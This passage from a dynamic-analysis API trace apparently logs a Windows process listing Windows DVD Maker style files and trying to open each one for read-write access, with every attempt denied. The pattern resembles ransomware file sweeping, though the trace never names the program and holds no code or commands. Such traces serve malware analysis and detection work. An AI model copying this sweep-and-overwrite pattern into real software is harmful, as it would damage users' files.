ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75d, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0180.453] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.453] GetLastError () returned 0x5 [0180.453] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x55f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chapters-static.png", cAlternateFileName="")) returned 1 [0180.453] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.454] GetLastError () returned 0x5 [0180.454] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729fbb14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729fbb14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4aba6851, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8df12, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 1 [0180.454] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.454] GetLastError () returned 0x5 [0180.454] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a47dce, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a47dce, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-foreground.png", cAlternateFileName="")) returned 1 [0180.454] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.454] GetLastError () returned 0x5 [0180.454] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a6df2b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a6df2b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb8c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="curtains.png", cAlternateFileName="")) returned 1 [0180.454] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.454] GetLastError () returned 0x5 [0180.455] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12d98, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_precomp_matte.wmv", cAlternateFileName="")) returned 1 [0180.455] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.455] GetLastError () returned 0x5 [0180.455] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_PreComp_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0180.455] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.455] GetLastError () returned 0x5 [0180.455] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b788b6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b788b6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x26618, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_matte.wmv", cAlternateFileName="")) returned 1 [0180.456] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.456] GetLastError () returned 0x5 [0180.456] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b9ea13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b9ea13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x28558, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0180.456] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.456] GetLastError () returned 0x5 [0180.456] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b0649f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b0649f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b44779d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e31e, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_rgb.wmv", cAlternateFileName="")) returned 1 [0180.456] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.457] GetLastError () returned 0x5 [0180.457] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b2c5fc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b2c5fc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39e98, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_RGB_PAL.wmv", cAlternateFileName="")) returned 1 [0180.457] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.457] GetLastError () returned 0x5 [0180.457] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a94088, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a94088, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x0, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 1 [0180.457] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.457] GetLastError () returned 0x5 [0180.457] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72aba1e5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72aba1e5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x239b, dwReserved0=0x0, dwReserved1=0x0, cFileName="mainimage-mask.png", cAlternateFileName="")) returned 1 [0180.457] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.457] GetLastError () returned 0x5 [0180.457] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x559, dwReserved0=0x0, dwReserved1=0x0, cFileName="notes-static.png", cAlternateFileName="")) returned 1 [0180.457] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.458] GetLastError () returned 0x5 [0180.458] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 1 [0180.458] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.458] GetLastError () returned 0x5 [0180.458] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 0 [0180.458] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0180.459] GetProcessHeap () returned 0x990000 [0180.459] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9ffc78 | out: hHeap=0x990000) returned 1 [0180.459] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ecb0968, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ecb0968, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackRectangle.bmp", cAlternateFileName="")) returned 1 [0180.459] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.460] GetLastError () returned 0x5 [0180.460] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_glass.png", cAlternateFileName="")) returned 1 [0180.460] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.460] GetLastError () returned 0x5 [0180.460] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0180.460] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.461] GetLastError () returned 0x5 [0180.461] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebcc13a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebcc13a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_videoinset.png", cAlternateFileName="")) returned 1 [0180.461] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.461] GetLastError () returned 0x5 [0180.461] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edbb2f3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6edbb2f3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c53d379, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0180.461] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.461] GetLastError () returned 0x5 [0180.461] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e990cc7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e990cc7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="circle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0180.461] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.461] GetLastError () returned 0x5 [0180.461] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureA.png", cAlternateFileName="")) returned 1 [0180.462] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.462] GetLastError () returned 0x5 [0180.462] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureB.png", cAlternateFileName="")) returned 1 [0180.462] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.462] GetLastError () returned 0x5 [0180.462] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_VideoInset.png", cAlternateFileName="")) returned 1 [0180.462] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.463] GetLastError () returned 0x5 [0180.463] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea030de, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea030de, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cloud_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0180.463] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.463] GetLastError () returned 0x5 [0180.463] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5c9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dot.png", cAlternateFileName="")) returned 1 [0180.463] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.463] GetLastError () returned 0x5 [0180.463] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee799c4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee799c4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4cb30a29, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x422c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdTransform.fx", cAlternateFileName="")) returned 1 [0180.463] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx" (normalized: "c:\\program 